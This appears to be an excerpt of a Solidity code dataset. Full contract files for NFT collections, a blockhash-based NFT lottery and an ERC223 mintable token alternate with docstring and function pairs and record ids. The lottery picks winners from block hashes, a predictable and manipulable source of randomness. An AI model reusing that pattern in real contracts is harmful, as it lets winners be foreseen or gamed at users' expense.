function setTokenURI(uint256 tokenId, string memory _tokenURI) external onlyOwner nonFrozen {
_setTokenURI(tokenId, _tokenURI);
}
function mint() external onlyOwner nonFrozen returns(uint256) {
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_1770");
return _mintItem(_msgSender());
}
function mintFor(address minter) external onlyLottery nonFrozen returns(uint256) {
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_1770");
return _mintItem(minter);
}
function mintWithMeta(string memory _tokenURI) external onlyOwner nonFrozen returns(uint256) {
return _mintItemWithMeta(_msgSender(), _tokenURI);
}
function mintWithCount(uint256 count) external onlyOwner nonFrozen returns(uint256[] memory) {
require(count.add(totalSupply()) <= maxCount, "P-NFT: MAX_COUNT_IS_1770");
uint256[] memory retIds = new uint256[](count);
for (uint256 i = 0; i < count; i++) {
retIds[i] = _mintItem(_msgSender());
}
return retIds;
}
function mintWithCountFor(uint256 count, address minter) external onlyOwner nonFrozen returns(uint256[] memory) {
require(count.add(totalSupply()) <= maxCount, "P-NFT: MAX_COUNT_IS_1770");
uint256[] memory retIds = new uint256[](count);
for (uint256 i = 0; i < count; i++) {
retIds[i] = _mintItem(minter);
}
return retIds;
}
function burn(uint256 tokenId) external {
address tokenOwner = ownerOf(tokenId);
require(tokenOwner == _msgSender(), "P-NFT: NOT_ITEM_OWNER");
_burn(tokenId);
}
function isHavePNFT(address account) external view returns (bool) {
return balanceOf(account) > 0;
}
function stillHave() external view returns (bool) {
return totalSupply() < maxCount;
}
function canMint() external view returns (uint256) {
return maxCount.sub(totalSupply());
}
function freeze() external onlyOwner nonFrozen {
isFrozen = true;
}
function freezeToken(uint256 tokenId) external onlyOwner nonFrozen {
emit PermanentURI(tokenURI(tokenId), tokenId);
}
}
// File nft_contracts/OA_NFT.sol
pragma solidity 0.8.0;
contract OA_NFT is ERC721Enumerable, Ownable {
using SafeMath for uint256;
struct Nft {
bool unclaimable;
bool claimed;
}
mapping(uint256 => Nft) private delivery;
uint256 public maxCount = 118;
bool public isFrozen;
event PermanentURI(string _value, uint256 indexed _id);
modifier nonFrozen() {
require(!isFrozen, "P-NFT: FROZEN");
_;
}
constructor() ERC721("Out of Africa: Original Artwork NFTs", "O-NFT") {
_setBaseURI("ipfs://QmbSFdoZmppCXDaufSjN3s5aiFdkFtKvfyMzWw6dV9py92/");
}
function isClaimable(uint256 tokenId) external view returns (bool) {
return !delivery[tokenId].unclaimable;
}
function isClaimed(uint256 tokenId) external view returns (bool) {
return delivery[tokenId].claimed;
}
function setBaseUrl(string memory baseURI_) external onlyOwner nonFrozen {
_setBaseURI(baseURI_);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external onlyOwner nonFrozen {
_setTokenURI(tokenId, _tokenURI);
}
function mint() external onlyOwner nonFrozen returns(uint256) {
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_118");
return _mintItem(_msgSender());
}
function mintWithMeta(string memory _tokenURI) external onlyOwner nonFrozen returns(uint256) {
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_118");
return _mintItemWithMeta(_msgSender(), _tokenURI);
}
function mintFor(address minter) external onlyOwner nonFrozen returns(uint256) {
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_118");
require(minter != address(0), "O-NFT: MINTER_IS_ZERO_ADDRESS");
return _mintItem(minter);
}
function mintWithCount(uint256 count) external onlyOwner nonFrozen returns(uint256[] memory) {
require(count.add(totalSupply()) <= maxCount, "P-NFT: MAX_COUNT_IS_118");
uint256[] memory retIds = new uint256[](count);
for (uint256 i = 0; i < count; i++) {
retIds[i] = _mintItem(_msgSender());
}
return retIds;
}
function mintForWithId(address minter, uint256 tokenId) external onlyOwner nonFrozen {
require(minter != address(0), "O-NFT: MINTER_IS_ZERO_ADDRESS");
require(tokenId > 0, "O-NFT: INVALID_TOKEN_ID");
require(totalSupply() < maxCount, "P-NFT: MAX_COUNT_IS_118");
_safeMint(minter, tokenId);
}
function freeze() external onlyOwner {
isFrozen = true;
}
function burn(uint256 tokenId) external {
address tokenOwner = ownerOf(tokenId);
require(tokenOwner == _msgSender(), "O-NFT: NOT_ITEM_OWNER");
_burn(tokenId);
}
function burnFor(address burner, uint256 tokenId) external onlyOwner {
address tokenOwner = ownerOf(tokenId);
require(tokenOwner == burner, "O-NFT: NOT_ITEM_OWNER");
_burn(tokenId);
}
function claim(uint256 tokenId) external {
address tokenOwner = ownerOf(tokenId);
require(tokenOwner == _msgSender(), "O-NFT: NOT_ITEM_OWNER");
require(!delivery[tokenId].unclaimable, "O-NFT: UNCLAIMABLE");
delivery[tokenId].claimed = true;
}
function setUnclaimable(bool unclaimable, uint256 tokenId) external onlyOwner {
delivery[tokenId].unclaimable = unclaimable;
}
function setUnclaimed(uint256 tokenId) external onlyOwner {
delivery[tokenId].claimed = false;
}
function freezeToken(uint256 tokenId) external onlyOwner nonFrozen {
emit PermanentURI(tokenURI(tokenId), tokenId);
}
}
// File nft_contracts/utils/ERC721Receiver.sol
pragma solidity 0.8.0;
contract ERC721Receiver is IERC721Receiver {
bytes4 private constant _retval = IERC721Receiver.onERC721Received.selector;
event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas);
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) external override returns (bytes4) {
emit Received(operator, from, tokenId, data, gasleft());
return _retval;
}
}
// File nft_contracts/Lottery.sol
pragma solidity 0.8.0;
/**
* @title Lottery
* @author NFT Labs
* @dev Lottery should work as follows:
* 1. Lottery period starts
* 2. Users interact with smart contract to enter their wallets into the draw
* 3. Entry period ends.
* 4. Winning wallets determined randomly.
* 5. Claim/mint period starts.
* 6. Claim/mint period ends.
* 7. Unclaimed NFTs sent to team wallet.
*/
contract Lottery is Ownable, ERC721Receiver {
using SafeMath for uint256;
struct Ticket {
bool exist;
uint256 block;
uint256 ticketId;
bool claimed;
}
address public PNFTToken;
bool _isActive;
bool _isClaimActive;
uint256 public winScore = 5000;
uint256 public ticketIdCounter;
mapping(address => Ticket) private tickets;
bool private _notEntered;
event Won(address player, uint256 ticketId, uint256 tokenId);
event NewTicket(address player, uint256 ticketId);
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
constructor(address _PNFTToken) {
_notEntered = true;
require(_PNFTToken != address(0), "Factory: ZERO_ADDRESS");
PNFTToken = _PNFTToken;
}
function setPNFTToken(address _PNFTToken) external onlyOwner {
require(_PNFTToken != address(0), "Factory: ZERO_ADDRESS");
PNFTToken = _PNFTToken;
}
function setWinScore(uint256 _winScore ) external onlyOwner {
winScore = _winScore;
}
function activateEntry() external onlyOwner {
_isActive = true;
}
function stopEntry() external onlyOwner {
_isActive = false;
}
function activateClaim() external onlyOwner {
_isClaimActive = true;
}
function stopClaim() external onlyOwner {
_isClaimActive = false;
}
function getResult(address account) external view returns (bool) {
return getBetResult(account);
}
function isActive() external view returns (bool) {
return _isActive;
}
function isClaimActive() external view returns (bool) {
return _isClaimActive;
}
function isTicketExist(address account) external view returns (bool) {
return tickets[account].exist;
}
function ticketNumber(address account) external view returns (uint256) {
return tickets[account].ticketId;
}
function isTicketClaimed(address account) external view returns (bool) {
return tickets[account].claimed;
}
function play() external {
_checkPlayPossible();
tickets[_msgSender()] = Ticket(true, block.number, _getNewTicketId(), false);
emit NewTicket(_msgSender(), tickets[_msgSender()].ticketId);
}
function claim() external nonReentrant {
address sender = _msgSender();
Ticket memory accountTicket = tickets[sender];
require(accountTicket.exist, "BetResult: NOT_EXIST");
require(_isClaimActive, "PlayItem: NOT_ACTIVE");
require(P_NFT(PNFTToken).stillHave(), "PlayItem: NO_P_NFTS");
require(!accountTicket.claimed, "PlayItem: P_NFT_SENT");
tickets[sender].claimed = true;
bool betResult = ifBetWon(sender, accountTicket.block);
if (betResult) {
uint256 tokenId = P_NFT(PNFTToken).mintFor(sender);
emit Won(sender, tickets[sender].ticketId, tokenId);
}
}
function _checkPlayPossible() private view {
require(_isActive, "PlayItem: NOT_ACTIVE");
require(_msgSender() != address(0), "PlayItem: INVALID_ADDRESS");
require(!tickets[_msgSender()].exist, "PlayItem: ONLY_ONCE");
require(P_NFT(PNFTToken).stillHave(), "PlayItem: NO_P_NFTS");
}
function getBet(address account, uint256 _block) public view returns (uint256) {
Ticket memory accountTicket = tickets[account];
require(accountTicket.exist, "BetResult: NOT_EXIST");
uint256 tempBlock = _block;
bytes32 firstblock = blockhash(tempBlock);
bytes32 secondblock = blockhash(tempBlock.add(1));
bytes memory bytesArray = new bytes(32);
bytes memory player = abi.encodePacked(account);
for (uint256 i = 0; i < 15; i++) {
bytesArray[i] = firstblock[7 + i];
}
bytesArray[15] = player[7];
for (uint256 i = 16; i < 32; i++) {
bytesArray[i] = secondblock[i];
}
return uint(keccak256( bytesArray )) >> 16;
}
function getBetResult(address account) private view returns (bool) {
Ticket memory accountTicket = tickets[account];
require(accountTicket.exist, "BetResult: NOT_EXIST");
require(_isClaimActive, "PlayItem: NOT_ACTIVE");
require(P_NFT(PNFTToken).stillHave(), "PlayItem: NO_P_NFTS");
require(!accountTicket.claimed, "PlayItem: P_NFT_SENT");
return ifBetWon(account, accountTicket.block);
}
function ifBetWon(address account, uint256 _block) private view returns (bool) {
uint256 dice = getBet(account, _block);
if (dice % 10000 < winScore) {
return true;
} else {
return false;
}
}
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return IERC20(_token).transfer(msg.sender, _amount);
}
function _getNewTicketId() private returns (uint256) {
ticketIdCounter += 1;
return ticketIdCounter;
}
}
// File nft_contracts/Factory.sol
pragma solidity 0.8.0;
contract Factory is Ownable {
using SafeMath for uint256;
address public PNFTToken;
address public OANFTToken;
address public LotteryAddress;
constructor() {
address sender = _msgSender();
P_NFT pNFT = new P_NFT();
PNFTToken = address(pNFT);
Lottery lotteryContract = new Lottery(PNFTToken );
LotteryAddress = address(lotteryContract);
lotteryContract.transferOwnership(sender);
pNFT.setLottery(LotteryAddress);
pNFT.transferOwnership(sender);
OA_NFT oaNFT = new OA_NFT();
OANFTToken = address(oaNFT);
oaNFT.transferOwnership(sender);
}
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return IERC20(_token).transfer(msg.sender, _amount);
}
}
|
See {IERC721-approve}./
|
function approve(address to, uint256 tokenId) external virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
| 1,547,074
|
/**
*Submitted for verification at Etherscan.io on 2021-03-15
*/
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title ERC223Basic
* @dev Simpler version of ERC223 interface
*/
contract ERC223Basic is ERC20Basic {
// Occurs when tokens transferred.
event Transfer(address indexed from, address indexed to, uint indexed value, bytes data);
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223Receiver {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223Token is ERC223Basic, BasicToken, ERC223Receiver {
using SafeMath for uint;
using AddressUtils for address;
/**
* @dev Token should not accept tokens
*/
function tokenFallback(address, uint, bytes) public {
revert();
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(
msg.sender,
_to,
_value,
_data
);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
/**
* @dev Gets the balance of the specified address include freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
/**
* @dev Gets the balance of the specified address without freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
/**
* @dev gets freezing count
* @param _addr Address of freeze tokens owner.
*/
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
/**
* @dev gets freezing end date and freezing balance for the freezing portion specified by index.
* @param _addr Address of freeze tokens owner.
* @param _index Freezing portion index. It ordered by release date descending.
*/
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
/**
* @dev freeze your tokens to the specified address.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to freeze.
* @param _until Release date, must be in future.
*/
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
/**
* @dev release first available freezing tokens.
*/
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
/**
* @dev release all available for release freezing tokens. Gas usage is not deterministic!
* @return how many tokens was released
*/
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, and(_release, 0xffffffffffffffff))
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC223MintableToken
* @dev ERC223 implementation of MintableToken.
*/
contract ERC223MintableToken is MintableToken, ERC223Token {
/**
* @dev Function to mint tokens. Invokes token fallback function on recipient address.
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
bytes memory empty;
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(address(this), _amount, empty);
}
emit Mint(_to, _amount);
emit Transfer(
msg.sender,
_to,
_amount,
empty
);
return true;
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
/**
* @dev Mint the specified amount of token to the specified address and freeze it until the specified date.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to mint and freeze.
* @param _until Release date, must be in future.
* @return A boolean that indicates if the operation was successful.
*/
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "VOIRLAMONTE";
string public constant TOKEN_SYMBOL = "VLMT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x945c0172763b665045A9A19056f82D65Bef06408;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223MintableToken
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x945c0172763b665045a9a19056f82d65bef06408)];
uint[1] memory amounts = [uint(1000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
}
|
Transfer the specified amount of tokens to the specified address. This function works the same with the previous one but doesn't contain `_data` param. Added due to backwards compatibility reasons. _to Receiver address. _value Amount of tokens that will be transferred./
|
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
| 6,496,295
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
